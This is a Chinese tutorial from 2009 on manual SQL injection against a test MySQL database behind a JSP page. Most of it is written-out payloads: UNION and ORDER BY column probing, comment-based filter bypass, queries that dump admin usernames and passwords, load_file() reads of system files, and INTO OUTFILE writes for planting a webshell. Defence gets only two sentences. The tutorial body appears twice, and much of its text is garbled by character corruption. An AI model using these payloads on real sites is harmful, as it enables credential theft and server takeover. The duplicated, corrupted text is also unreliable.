SQL 手工注射原理小結
發(fā)布時間:2009-11-23 00:22:17 作者:佚名
我要評論

關于SQL注入(SQL Injection)的方法其實都很普遍和使用,歸納起來也很方便。一般“黑客”使用的是現(xiàn)成的工具如“WEB旁注、阿D網絡工具包、教主XXX”等這些都是集成了
一些常用的sql注入語句。下面我將介紹如何使用手工注入MYSQL,MSSQL數(shù)據庫.
一般漏洞產生的原因 : 程序執(zhí)行中未對敏感字符進行過濾,使得攻擊者傳入惡意字符串與結構化數(shù)據查詢語句合并,并且執(zhí)行惡意代碼.
創(chuàng)建text數(shù)據表MYSQL代碼:
create database if not exists `test`;
USE `test`;
/*數(shù)據表 `account` 的表結構*/
DROP TABLE IF EXISTS `account`;
CREATE TABLE `account` (
`accountId` bigint(20) NOT NULL auto_increment,
`accountName` varchar(32) default NULL,
`accountPass` varchar(32) default NULL,
PRIMARY KEY (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*數(shù)據表 `account` 的數(shù)據*/
insert into `account` values
(1,'account1','account1');
/*數(shù)據表 `admin` 的表結構*/
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`adminId` bigint(20) NOT NULL auto_increment,
`adminName` varchar(32) default NULL,
`adminPass` varchar(32) default NULL,
PRIMARY KEY (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*把數(shù)據插入數(shù)據表 `admin` 的數(shù)據*/
insert into `admin` values
(1,'admin','admin');
2.漏洞的利用
這個就是數(shù)據庫里的記錄了.以后黃色為關鍵語句,紅色為輸入的部分.
大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");
這里的request.getParameter("id") 是獲取GET傳參的id 參數(shù),也就是mysqlInject.jsp?id=1 這里的id. 這樣這個SQL語句就變成了select * from account where accountId =
'1' 了.如果加以變換呢?
2.1漏洞的檢測
我們把id 寫成mysqlInject.jsp?id=1' 那么SQL 語句就變成select * from account where accountId = '1'' 了,這樣的話SQL語句就會報錯,因為SQL語句的值是需要2個包含
符號,比如’和”如果只是數(shù)字可以什么都不寫.如果不報錯的話就說明程序替換,過濾或者其他方法來防護了.那么我們可以繼續(xù)來測驗, mysqlInject.jsp?id=1' and ''=' 那么
SQL語句就變成了select * from account where accountId = '1' and '' = '' ,應該返回正常.有些人說我的為什么返回不正常呢? 有2種原因,第一是程序把惡意字符過濾了;第
二是程序的語句和我寫的不一樣select * from account where accountId = 1' and ''='. 這個問題在下邊會談到.
2.2 Union查詢猜此次查詢列的數(shù)量
這里有的人會說猜此次查詢列的數(shù)量有什么用?如果只是檢測當然沒有,但是你想進一步的利用那么就有大的用處了,文章后邊會講到的,耐心.如果懂SQL的人應該知道UNION查詢
吧?UNION查詢就是聯(lián)合查詢,執(zhí)行第二條查詢語句將返回值和本次查詢合并.
大家想想,如果要和本次查詢值合并需要一個什么條件呢?需要聯(lián)合查詢的列數(shù)和此次查詢的列數(shù)相等.如果不想等的話就會無法合并,那么就會報錯.通過這一特點聰明的你應
該會想出這么才列數(shù)了吧?
那么我們要的就是使得UNION查詢出來的列數(shù)與本次查詢出來的列數(shù)相等.也就是說不報錯就會相等.
先從第一列開始猜,那么要把這個語句union select 1構造在地址程序的語句當中.那么語句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 這樣的.有些人問為什么后
邊(綠色的部分)要加上and ''=' 呢? 也許大家記了吧,我們的SQL語句是需要兩個包含符號的,語句select * from account where accountId = '1' 我們輸入的是在1那個位置,所
以要去除后邊的',否則語句會報錯的.在本程序里也就是' 如果你要想消除' 有很多辦法,為了讓大家明白所以我現(xiàn)在使用and ''='.先說一說有幾種辦法消除這個'
1. 使用 and '' = ' 雖然不夠方便,但是在復雜SQL語句里不會報錯的.
2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個大問題,就是在執(zhí)行復雜SQL語句的時候有可能會報錯.
有些人測試,咦?為什么我加了#還是會報錯呢?因為本次是使用GET傳參,在地址欄傳參.大家想想,當初下載帶#名稱的數(shù)據庫是什么樣子呢?哦,對了,#是地址欄的結束符,就是說#
包括#以后的字符全部不傳入.所以#在GET模式下注入注入不起作用.
那么有些工具寫的在構造注射的時候為什么是mysqlInject.jsp?id=1'/**/and/**/union/**/select/**/1/**/and/**/''/**/= /**/'/* 呢? 因為在程序里邊有函數(shù)可以把傳入
參數(shù)里面的空格去除,如果去除了空格,將會是程序產生了錯誤的語句,那么就會一直報錯了.所以有些工具就是用/**/這種東西來取代空格了.那 /**/ 又是什么呢? /**/ 是一種注
釋,叫做文檔注釋,就是從/* 開始直到*/ 結束,中間任何代碼都會成為注釋,所以是程序員在寫大量注釋時候所使用的一種注釋.那最后的/* 是什么呢? 那個是用來解決 SQL語句 包
含符號沒有成雙成對的.
我們開始測試.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*
select * from account where accountId = '1 '/**/union/**/select/**/1/*'.
注意到最低下那句話了嗎?
javax.servlet.ServletException: The used SELECT statements have a different number of columns大概意思是”這個使用的查詢列數(shù)不同”,由此得出此次查詢不是查詢了
一個表.以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現(xiàn)在說寫的列數(shù)也就是本次查詢的列數(shù)了.大家看到地下返回 1|2|3| ,這個值是從咱們的UNION
查詢里合并出來的. 試試把UNION SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?
有人說 你都是騙人的 我怎么換,我都換到789了也沒有出來,還是現(xiàn)實原來的數(shù)據,你騙人;我沒有騙人,我也不會騙人;那為什么出不來?
有些程序寫的時候只是把數(shù)據返回集合的第一行輸出,但是UNION查詢以后是把數(shù)據合并到此次查詢以后,那么他只輸出了此次查詢的數(shù)據,其實UNION查詢的數(shù)據也有,但是他沒有輸
出.那怎么辦呢?聰明的人一定會想到. 啊,原來如此,只要讓此次查詢不輸出就可以了.哈哈哈,我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個簡單的方法,看看SQL語句,
我們是做過限制條件的. Where accountid = ? ,那么也就是說讓這個accoundId 限制到一個沒有的id 上那么不就會沒有了? 心動不如行動,試試.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*
哈哈,果然沒有了!!! 注意綠色的部分,指定查詢一個沒有的id ,那么他理所當然的就會蒸發(fā)了.
2.3 低幾率另類猜此次查詢列的數(shù)量
此方法雖然幾率低一點,但是會大大減少工作量的.次方法只適用于 select * 的簡易SQL語句.
這個方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來.我們來寫一條SQL語句. Select * from account where accountId = '1' order by accountId 那么這個
SQL語句也就是根據 accountId 升序排序. 那么我們不知道他有什么怎么辦,而且這怎么猜? 這里是關鍵問題. MYSQL支持列編號排序Select * from account where accountId =
'1' order by 1 這樣也就是按照第一列排序.
哎呀,你又在騙我們,排序怎么猜列的數(shù)量? 那么我按照一個不存在的列排序呢? 比如第四列? 你一般身上有3個口袋,一個最多10元錢,一天吃一頓,一頓3斤米,一斤米一元,但是你今
天吃了4斤米,需要40元,你卻只有3個口袋,你就沒有40元,你就要挨打了.
也就是說一共有3個列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,沒有第4列,出錯.那么也就說明他有4列.
這種方法是根據人的經驗判斷的.我一般使用這個方法都會成功,就是不成功也相差不多.
2.4 使用UNION猜其他表,查詢其他表
使用此方法可以查詢到其他表里的內容.比如查詢管理員的密碼等.但是有個前題,必須道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因為MYSQL 和SQLSERVER 的系統(tǒng)函數(shù)不一
樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒有,所以只能猜了.
好,開始構造語句. 我們要猜看看有沒有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'
如果正常的有admin表的話,那么返回是正常的,如果沒有的話會報錯的.大家看到了吧? 有admin 這個表,為了讓大家更好的理解,我們在猜一個其他不存在的表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'
看到了吧?沒有 helloworld 這個表.所以報錯了.
又問,為什么還是會寫4,5,6呢? 啊哈,因為我們不知道他的列名,如果寫了 * 他將會全部列出來,如果和此次查詢的列不相等,那么就會報錯了.所以要寫一個相等的.
現(xiàn)在表名出來了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6其中一個替換成列名不久行了? 那么構造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'
看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來,然后帶入UNION查詢中,這樣就查出來管理員帳號或者密碼了.現(xiàn)在我要把列名一次全部
帶入.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'
出來了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查詢上限制條件,比如你知道有admin這個用戶那么就構造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看個人的
發(fā)揮了.
使用MYSQL 系統(tǒng)函數(shù).
使用 load_file() 函數(shù) 顯示文件.
顧名思義.就是加載文件,可不是運行啊,是顯示內容,但是必須對文件擁有讀取權限.我們先來構造一個顯示 c:\boot.ini 文件的語句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'
看到了嗎? C:\boot.ini 文件的內容. 又問,為什么load_file() 里面是亂碼呢? 那不是亂碼,那個是C:\boot.ini 16進制編碼. 因為本函數(shù)無法處理直接寫的路徑,只能能使用
16進制或者是 Ascii 編碼.所以要將路徑轉換成 16進制或者是Ascii 編碼才可以執(zhí)行.
為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因為啊,第一列不行,其他的都可以,第一列是一個 INT類型,一個數(shù)字類型,難道你會把你女朋友送
進男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來列目錄 ,但是必須有列目錄的權限.
通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時候也許會遇到亂碼的問題. 這個問題可以這么解決. 使用 subString 函數(shù), subString(字符串,開始,返回).
假設我們要返回第三個字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 這樣我們就返回了第三
個字符,用于解決亂碼是非常好的辦法.
使用outfile 寫WEBSHELL.
mysql 有一個功能,就是把查詢的結果輸出.就是outfile.先來構造一個簡單的語句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
那么在網站也來構造一下.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/’c:\\hello.txt’/*'
成功插入.但是為什么會報錯呢?哦,那是因為你把數(shù)據寫到文件中,返回集合什么都沒有了,當然會報錯了.如果你把hello 換成 一句話或者其他的,如果寫入到網站目錄下,那是
多么恐怖啊…
2.漏洞的防護和總結
通過過濾特殊關鍵字來防護.代碼網站很多,我這里就不寫了.
針對JAVA有一種防護措施,就是使用PreparedStatement 對象進行查詢,這里也不多說了. 本文只是一個概括的講述,如果應用到實戰(zhàn)當中需要結合經驗.
一般漏洞產生的原因 : 程序執(zhí)行中未對敏感字符進行過濾,使得攻擊者傳入惡意字符串與結構化數(shù)據查詢語句合并,并且執(zhí)行惡意代碼.
創(chuàng)建text數(shù)據表MYSQL代碼:
復制代碼
代碼如下:create database if not exists `test`;
USE `test`;
/*數(shù)據表 `account` 的表結構*/
DROP TABLE IF EXISTS `account`;
CREATE TABLE `account` (
`accountId` bigint(20) NOT NULL auto_increment,
`accountName` varchar(32) default NULL,
`accountPass` varchar(32) default NULL,
PRIMARY KEY (`accountId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*數(shù)據表 `account` 的數(shù)據*/
insert into `account` values
(1,'account1','account1');
/*數(shù)據表 `admin` 的表結構*/
DROP TABLE IF EXISTS `admin`;
CREATE TABLE `admin` (
`adminId` bigint(20) NOT NULL auto_increment,
`adminName` varchar(32) default NULL,
`adminPass` varchar(32) default NULL,
PRIMARY KEY (`adminId`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*把數(shù)據插入數(shù)據表 `admin` 的數(shù)據*/
insert into `admin` values
(1,'admin','admin');
2.漏洞的利用
這個就是數(shù)據庫里的記錄了.以后黃色為關鍵語句,紅色為輸入的部分.
大家注意看resultSet = statment.executeQuery("select * from account where accountId = '"+ request.getParameter("id") +"'");
這里的request.getParameter("id") 是獲取GET傳參的id 參數(shù),也就是mysqlInject.jsp?id=1 這里的id. 這樣這個SQL語句就變成了select * from account where accountId =
'1' 了.如果加以變換呢?
2.1漏洞的檢測
我們把id 寫成mysqlInject.jsp?id=1' 那么SQL 語句就變成select * from account where accountId = '1'' 了,這樣的話SQL語句就會報錯,因為SQL語句的值是需要2個包含
符號,比如’和”如果只是數(shù)字可以什么都不寫.如果不報錯的話就說明程序替換,過濾或者其他方法來防護了.那么我們可以繼續(xù)來測驗, mysqlInject.jsp?id=1' and ''=' 那么
SQL語句就變成了select * from account where accountId = '1' and '' = '' ,應該返回正常.有些人說我的為什么返回不正常呢? 有2種原因,第一是程序把惡意字符過濾了;第
二是程序的語句和我寫的不一樣select * from account where accountId = 1' and ''='. 這個問題在下邊會談到.
2.2 Union查詢猜此次查詢列的數(shù)量
這里有的人會說猜此次查詢列的數(shù)量有什么用?如果只是檢測當然沒有,但是你想進一步的利用那么就有大的用處了,文章后邊會講到的,耐心.如果懂SQL的人應該知道UNION查詢
吧?UNION查詢就是聯(lián)合查詢,執(zhí)行第二條查詢語句將返回值和本次查詢合并.
大家想想,如果要和本次查詢值合并需要一個什么條件呢?需要聯(lián)合查詢的列數(shù)和此次查詢的列數(shù)相等.如果不想等的話就會無法合并,那么就會報錯.通過這一特點聰明的你應
該會想出這么才列數(shù)了吧?
那么我們要的就是使得UNION查詢出來的列數(shù)與本次查詢出來的列數(shù)相等.也就是說不報錯就會相等.
先從第一列開始猜,那么要把這個語句union select 1構造在地址程序的語句當中.那么語句就是mysqlInject.jsp?id=1' and union select 1 and ''=' 這樣的.有些人問為什么后
邊(綠色的部分)要加上and ''=' 呢? 也許大家記了吧,我們的SQL語句是需要兩個包含符號的,語句select * from account where accountId = '1' 我們輸入的是在1那個位置,所
以要去除后邊的',否則語句會報錯的.在本程序里也就是' 如果你要想消除' 有很多辦法,為了讓大家明白所以我現(xiàn)在使用and ''='.先說一說有幾種辦法消除這個'
1. 使用 and '' = ' 雖然不夠方便,但是在復雜SQL語句里不會報錯的.
2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個大問題,就是在執(zhí)行復雜SQL語句的時候有可能會報錯.
有些人測試,咦?為什么我加了#還是會報錯呢?因為本次是使用GET傳參,在地址欄傳參.大家想想,當初下載帶#名稱的數(shù)據庫是什么樣子呢?哦,對了,#是地址欄的結束符,就是說#
包括#以后的字符全部不傳入.所以#在GET模式下注入注入不起作用.
那么有些工具寫的在構造注射的時候為什么是mysqlInject.jsp?id=1'/**/and/**/union/**/select/**/1/**/and/**/''/**/= /**/'/* 呢? 因為在程序里邊有函數(shù)可以把傳入
參數(shù)里面的空格去除,如果去除了空格,將會是程序產生了錯誤的語句,那么就會一直報錯了.所以有些工具就是用/**/這種東西來取代空格了.那 /**/ 又是什么呢? /**/ 是一種注
釋,叫做文檔注釋,就是從/* 開始直到*/ 結束,中間任何代碼都會成為注釋,所以是程序員在寫大量注釋時候所使用的一種注釋.那最后的/* 是什么呢? 那個是用來解決 SQL語句 包
含符號沒有成雙成對的.
我們開始測試.
mysqlInject.jsp?id=1 '/**/union/**/select/**/1/*
select * from account where accountId = '1 '/**/union/**/select/**/1/*'.
注意到最低下那句話了嗎?
javax.servlet.ServletException: The used SELECT statements have a different number of columns大概意思是”這個使用的查詢列數(shù)不同”,由此得出此次查詢不是查詢了
一個表.以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現(xiàn)在說寫的列數(shù)也就是本次查詢的列數(shù)了.大家看到地下返回 1|2|3| ,這個值是從咱們的UNION
查詢里合并出來的. 試試把UNION SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?
有人說 你都是騙人的 我怎么換,我都換到789了也沒有出來,還是現(xiàn)實原來的數(shù)據,你騙人;我沒有騙人,我也不會騙人;那為什么出不來?
有些程序寫的時候只是把數(shù)據返回集合的第一行輸出,但是UNION查詢以后是把數(shù)據合并到此次查詢以后,那么他只輸出了此次查詢的數(shù)據,其實UNION查詢的數(shù)據也有,但是他沒有輸
出.那怎么辦呢?聰明的人一定會想到. 啊,原來如此,只要讓此次查詢不輸出就可以了.哈哈哈,我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個簡單的方法,看看SQL語句,
我們是做過限制條件的. Where accountid = ? ,那么也就是說讓這個accoundId 限制到一個沒有的id 上那么不就會沒有了? 心動不如行動,試試.
mysqlInject.jsp?id=1000'/**/union/**/select/**/4,5,6/*
select * from account where accountId =1000'/**/union/**/select/**/4,5,6/*
哈哈,果然沒有了!!! 注意綠色的部分,指定查詢一個沒有的id ,那么他理所當然的就會蒸發(fā)了.
2.3 低幾率另類猜此次查詢列的數(shù)量
此方法雖然幾率低一點,但是會大大減少工作量的.次方法只適用于 select * 的簡易SQL語句.
這個方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來.我們來寫一條SQL語句. Select * from account where accountId = '1' order by accountId 那么這個
SQL語句也就是根據 accountId 升序排序. 那么我們不知道他有什么怎么辦,而且這怎么猜? 這里是關鍵問題. MYSQL支持列編號排序Select * from account where accountId =
'1' order by 1 這樣也就是按照第一列排序.
哎呀,你又在騙我們,排序怎么猜列的數(shù)量? 那么我按照一個不存在的列排序呢? 比如第四列? 你一般身上有3個口袋,一個最多10元錢,一天吃一頓,一頓3斤米,一斤米一元,但是你今
天吃了4斤米,需要40元,你卻只有3個口袋,你就沒有40元,你就要挨打了.
也就是說一共有3個列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,沒有第4列,出錯.那么也就說明他有4列.
這種方法是根據人的經驗判斷的.我一般使用這個方法都會成功,就是不成功也相差不多.
2.4 使用UNION猜其他表,查詢其他表
使用此方法可以查詢到其他表里的內容.比如查詢管理員的密碼等.但是有個前題,必須道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因為MYSQL 和SQLSERVER 的系統(tǒng)函數(shù)不一
樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒有,所以只能猜了.
好,開始構造語句. 我們要猜看看有沒有admin表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/admin/*'
如果正常的有admin表的話,那么返回是正常的,如果沒有的話會報錯的.大家看到了吧? 有admin 這個表,為了讓大家更好的理解,我們在猜一個其他不存在的表.
mysqlInject.jsp?id=1'/**/union/**/select/**/4,5,6/**/from/**/helloword/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/4,5,6/**/from/**/ helloword/*'
看到了吧?沒有 helloworld 這個表.所以報錯了.
又問,為什么還是會寫4,5,6呢? 啊哈,因為我們不知道他的列名,如果寫了 * 他將會全部列出來,如果和此次查詢的列不相等,那么就會報錯了.所以要寫一個相等的.
現(xiàn)在表名出來了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6其中一個替換成列名不久行了? 那么構造出.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,5,6/**/from/**/admin/*'
看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來,然后帶入UNION查詢中,這樣就查出來管理員帳號或者密碼了.現(xiàn)在我要把列名一次全部
帶入.
mysqlInject.jsp?id=1'/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*'
出來了, 1|admin|admin| 就是 adminid|adminName|adminPass|
也可以在union 查詢上限制條件,比如你知道有admin這個用戶那么就構造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看個人的
發(fā)揮了.
使用MYSQL 系統(tǒng)函數(shù).
使用 load_file() 函數(shù) 顯示文件.
顧名思義.就是加載文件,可不是運行啊,是顯示內容,但是必須對文件擁有讀取權限.我們先來構造一個顯示 c:\boot.ini 文件的語句.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*'
看到了嗎? C:\boot.ini 文件的內容. 又問,為什么load_file() 里面是亂碼呢? 那不是亂碼,那個是C:\boot.ini 16進制編碼. 因為本函數(shù)無法處理直接寫的路徑,只能能使用
16進制或者是 Ascii 編碼.所以要將路徑轉換成 16進制或者是Ascii 編碼才可以執(zhí)行.
為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因為啊,第一列不行,其他的都可以,第一列是一個 INT類型,一個數(shù)字類型,難道你會把你女朋友送
進男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來列目錄 ,但是必須有列目錄的權限.
通過load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時候也許會遇到亂碼的問題. 這個問題可以這么解決. 使用 subString 函數(shù), subString(字符串,開始,返回).
假設我們要返回第三個字符,那么就是mysqlInject.jsp?id=1'/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 這樣我們就返回了第三
個字符,用于解決亂碼是非常好的辦法.
使用outfile 寫WEBSHELL.
mysql 有一個功能,就是把查詢的結果輸出.就是outfile.先來構造一個簡單的語句.
select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
那么在網站也來構造一下.
mysqlInject.jsp?id=1'/**/union/**/select/**/1,'hello',3/**/into/**/outfile/**/'c:\\hello.txt'/*
SQL : select * from account where accountId = '1'/**/union/**/select/**/1, 'hello',3/**/into/**/outfile/**/’c:\\hello.txt’/*'
成功插入.但是為什么會報錯呢?哦,那是因為你把數(shù)據寫到文件中,返回集合什么都沒有了,當然會報錯了.如果你把hello 換成 一句話或者其他的,如果寫入到網站目錄下,那是
多么恐怖啊…
2.漏洞的防護和總結
通過過濾特殊關鍵字來防護.代碼網站很多,我這里就不寫了.
針對JAVA有一種防護措施,就是使用PreparedStatement 對象進行查詢,這里也不多說了. 本文只是一個概括的講述,如果應用到實戰(zhàn)當中需要結合經驗.
相關文章
- CC主要是用來攻擊頁面的,大家都有這樣的經歷,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,打開頁面的速度會比較慢,對不?!一般來說,訪問的人越多,論壇的頁2024-01-06
Windows系統(tǒng)安全風險-本地NTLM重放提權
入侵者主要通過Potato程序攻擊擁有SYSTEM權限的端口偽造網絡身份認證過程,利用NTLM重放機制騙取SYSTEM身份令牌,最終取得系統(tǒng)權限,該安全風險微軟并不認為存在漏洞,所以2021-04-15- 這篇文章主要介紹了文件上傳漏洞全面滲透分析小結,這里主要為大家分享一下防御方法,需要的朋友可以參考下2021-03-21
- 這篇文章主要介紹了sql手工注入語句&SQL手工注入大全,需要的朋友可以參考下2017-09-06
- 這篇文章主要介紹了詳解Filezilla server 提權,需要的朋友可以參考下2017-05-13
FileZilla Server 2008 x64 提權與防御方法
這篇文章主要介紹了FileZilla Server 2008 x64 提權與防御方法,需要的朋友可以參考下2017-05-13https加密也被破解 HEIST攻擊從加密數(shù)據獲取明文
不久之前我們說過關于http和https的區(qū)別,對于加密的https,我們一直認為它是相對安全的,可今天要講的是,一種繞過HTTPS加密得到明文信息的web攻擊方式,不知道這消息對你2016-08-10iPhone和Mac也會被黑 一條iMessage密碼可能就被盜了
一直以來蘋果系統(tǒng)的安全性都是比安卓要高的,但是再安全的系統(tǒng)也免不了漏洞,蘋果也一樣。最近爆出的新漏洞,只需要接收一條多媒體信息或者iMessage就會導致用戶信息泄露。2016-07-27- 國家正在修正關于黑客方面的法律法規(guī),有一條震驚黑客圈的“世紀佳緣”起訴白帽黑客事件,深深的傷害了廣大黑客們的心,加上扎克伯格和特拉維斯·卡蘭尼克賬號被盜,于是黑2016-07-11
如何逆向破解HawkEye keylogger鍵盤記錄器進入攻擊者郵箱
面對惡意郵件攻擊,我們就只能默默忍受被他攻擊,連自我保護能力都沒有談什么反抗?讓人痛快的是,如今有了解決辦法,逆向破解鍵盤記錄器,進入攻擊者郵箱2016-07-06